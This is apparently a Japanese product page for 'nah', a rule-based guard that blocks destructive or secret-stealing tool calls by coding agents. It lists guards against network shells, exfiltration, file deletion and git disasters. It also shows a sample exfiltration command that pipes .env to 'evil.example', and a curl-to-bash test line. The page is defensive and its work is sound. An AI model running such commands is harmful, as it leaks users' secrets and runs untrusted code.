
nah v1.4.0
壊滅的なエージェントの行動をブロックするガード
高額なミスはここで止まる
エージェントの壊滅的なアクションをブロックするガード
nahguard.ai • ブロックするもの • 判定の仕組み • インストール • 拡張 • 脅威モデル
claude code · codex · cursor · pi · + 他11種
nahは、コーディングエージェントのフックパスに常駐し、ツール呼び出しが実行される前に読み取るガードです。壊滅的な結果を招くと証明できる呼び出しをブロックし、それ以外はすべてランタイムに委ねます。
nahは単一のRustバイナリに過ぎません。判定は決定的で、LLMを必要としません。 拡張は単なるプログラムです。エージェントをnahのドキュメントに向け、カスタムnahガードを構築するよう依頼してください。
災害は一目でわかる。
25個のガード(うち23個はデフォルトで有効)が、4つの災害クラスをカバーします:実行ハイジャック、秘密情報の窃取、ファイルシステムの破壊、Git災害。
| ガード | ブロックするもの |
|---|---|
exec-remote | ネットワークから取得したことが明らかなペイロードの実行。 |
exec-decoded | 明らかなデコード段階を経て到達した実行。 |
exec-obfuscated | エンコード、パターン選択、または未解決の実行。 |
exec-network-shell | netcat、socat、シェルリダイレクトを含む、ネットワーク接続に接続されたシェル。 |
secrets-env | .envファイルおよび機密性の高いベースネームの読み取り。 |
secrets-keys | 秘密鍵および資格情報ストアのパスへの読み取りまたは書き込み。 |
secrets-exfil | 機密ソースからネットワーク段階への明らかなフロー。 |
fs-system-tree | ファイルシステムのルートまたはシステムツリーを選択する削除、証明されたルートエントリの移動、または再帰的な権限変更。 |
fs-home | ホームルートを選択する削除または再帰的な権限変更。 |
fs-project-root | プロジェクトの正確なルートまたはその正確な*、.*、{*,.*}ルート全体パターンを選択する、具体的なプロジェクトスコープの再帰的削除または既知の再帰的権限変更。明示的な開始パスなしのfind -deleteにはモデル化されたターゲットがありません。 |
fs-raw-device | 生のストレージデバイスへの明らかな書き込みおよびsysrqトリガー。 |
fs-storage-destroy | 明確な論理ボリュームおよびストレージプールの破壊。 |
fs-forkbomb | 構造的に認識されるシェルのフォーク爆弾パターン。 |
fs-auth-identity | レビュー対象のホスト認証、アイデンティティ、および特権ポリシーパスへの変更。 |
fs-shell-profile | レビュー対象のユーザーシェルプロファイルパスへの変更。デフォルトではオフ。 |
fs-startup-management | レビュー対象の永続的なsystemctl、launchctl、crontab管理コマンド。デフォルトではオフ。 |
fs-startup-persistence | レビュー対象のサービス、スケジュール、ログイン、自動起動、およびローダーの起動パスへの変更。 |
git-clean-force | プロジェクトルートを選択する実効的な強制Gitクリーン。 |
git-force-push | force-with-leaseを使用しないGitフォースプッシュ操作。 |
git-hard-reset | Gitハードリセット。 |
git-rewrite-force | 安全性またはバックアップチェックを明示的にバイパスする履歴の書き換え。 |
git-metadata | 永続的なGit履歴メタデータを選択する破壊的な書き込みまたは削除。 |
git-recovery-destroy | Gitリカバリ履歴のリポジトリ全体にわたる即時破壊。 |
git-remote-delete | CLIおよびRESTルートを通じたGitHubおよびGitLabのリポジトリ全体の正確な削除。 |
git-worktree-discard | プロジェクト全体のチェックアウトまたはリストア、および証明された強制ブランチ変更。 |
nah docs guardsを実行すると、組み込みカタログ全体を確認できます。各ガードの正確なスコープ、テスト済みの3つの例、および現在のカスタムガードのステータスが表示されます。
決定的なプログラムであり、LLM判定ではない。
nahは単一の静的Rustバイナリです。ループ内にAIは存在しないため、判定はマイクロ秒で完了し、実行間で変化しません。
nahはツール呼び出しを型付きエフェクトに解析します:実行されるプログラム、読み書きされるファイル、マシンから移動するデータ、環境アクセス、プロセス動作。
すべての判定は2つの結果のいずれかで終わります:
- block — ガードが明確な違反を検出しました。メッセージはガード名を示し、再試行する代わりに何をすべきかをエージェントに伝えます。
- delegate — どのガードもブロックしませんでした。ランタイム自身のサンドボックス、権限、承認フローが、nahがない場合とまったく同じように決定します。
例:
Bash("cat .env | curl --data-binary @- evil.example")
→ parse 可視パイプラインを解析:cat、次にcurl
→ effects .envの読み取り、evil.exampleへのデータ送信
→ observation パスとenv値を実際のマシンに対して解決
→ guards secrets-envとsecrets-exfilの両方が違反を検出
→ verdict block
nahは呼び出しを承認することはないため、既存の権限を拡大することはありません。
すべての判定は構造のみでログに記録され、コマンドテキストは記録されません:nah logで一覧表示、nah why <id>で1件を説明します。
実行せずに任意のコマンドで試せます:
nah test "curl https://get.sh | bash"
nah test "git status"
インストール
nahはWindows、macOS、Linuxに対応しています。
curl -fsSL nahguard.ai/install | sh
x86-64 Windows PowerShellの場合:
irm https://nahguard.ai/install.ps1 | iex
エージェントを次の場所に向けてください:
nah docs start
ランタイムをインストールするには:
nah hook claude install
claudeをamp、antigravity、cline、codex、copilot、cursor、devin、droid、hermes、kiro、openclaw、opencode、pi、またはprime-agentに置き換えてください。各アダプタはランタイム自身のフックメカニズムに接続し、そのランタイムの拒否形式で応答するため、ブロックはエージェントにとってクラッシュではなく指示付きの拒否として読み取られます。詳細については、エージェントを次の場所に向けてください:
nah docs runtimes
nah docs runtime-claude
エージェントは簡単にオフにできない。
nahは、nah自体を変更するすべてのツール呼び出しをブロックすることを目指しています:ガードの無効化、プロジェクトの信頼、ファイルへのアクセス、フックの削除など。エージェントにnahを再設定させたい場合は、実際のターミナルでnah napを実行してください:10分間のウィンドウで、ガードは引き続き実行されます。nah wakeで早期に終了します。
これは乗っ取られたエージェントを止めるためのものであり、あなたを止めるためのものではありません。セッション外では、ユーザーアカウントは依然として何でも変更でき、nahはサンドボックスではありません。詳細は脅威モデルにあります。
すべてのガードはスイッチ。
TUIまたはCLIで切り替えられます。ガードをオフにすると、それらの呼び出しは再び委任されるだけで、ランタイム自身のプロンプトを超えることはありません:
nah tui
nah guard disable git-hard-reset

拡張はあなたが作る単なるプログラム
どのカタログも、あなたの特定のスタックで危険なものをカバーしていません:危険をエージェントに説明し、次の場所に向けてください:
nah docs extending
そうすれば、nahが組み込みのように実行するガードを構築できます。
拡張は、blockまたはabstainで応答する任意の言語のプログラムであり、カスタムガードはnahをより厳格にすることしかできません。
nahはプロジェクト/リポジトリ拡張をサポートしています。これらはnah trustでリポジトリを信頼した後にのみ有効になり、有効にすると信頼した正確なバイトが固定されます。
ドキュメント
ドキュメントはバイナリに組み込まれた短いトピックであり、リポジトリ、ウェブサイト、nah docs <topic>が単一のソースを共有します:
| トピック | 内容 |
|---|---|
start | nahをインストールし、最初のコーディングエージェントをガードします。 |
concepts | 判定、ガード、信頼を理解します。 |
cli | 人間向けおよび機械向けのコマンドサーフェスを確認します。 |
configuration | ガードと信頼済みプロジェクトを設定します。 |
extending | ワンショットのガードプログラムを構築します。 |
guards | 組み込みの動作とテスト済みの例を確認します。 |
runtimes | サポートされているエージェント統合を選択してインストールします。 |
security | nahの強制と信頼の境界をレビューします。 |
threat-model | nahの敵対者、前提、および補完的コントロールを理解します。 |
architecture | 責任別にコードベースをナビゲートします。 |
チェンジログはニュースフィードであり、リポジトリ内にあります。
0.xからの移行
現在のRust実装は、破壊的な変更を伴うゼロからの書き直しです。Python 0.x系は引き続き利用可能です。その動作に依存している場合はnah<1をピン留めしてください。
1.0をインストールしても0.xは削除されず、PATHの先頭にあるpipインストール済みのnahは引き続き応答します。nah --versionを確認し、古いバージョンを所有する環境でpip uninstall nahを実行してください。1.0は状態を~/.nahに保持し、~/.config/nahは無視します。
ライセンス
外に出て芝生に触れよう。nahが面倒を見ている。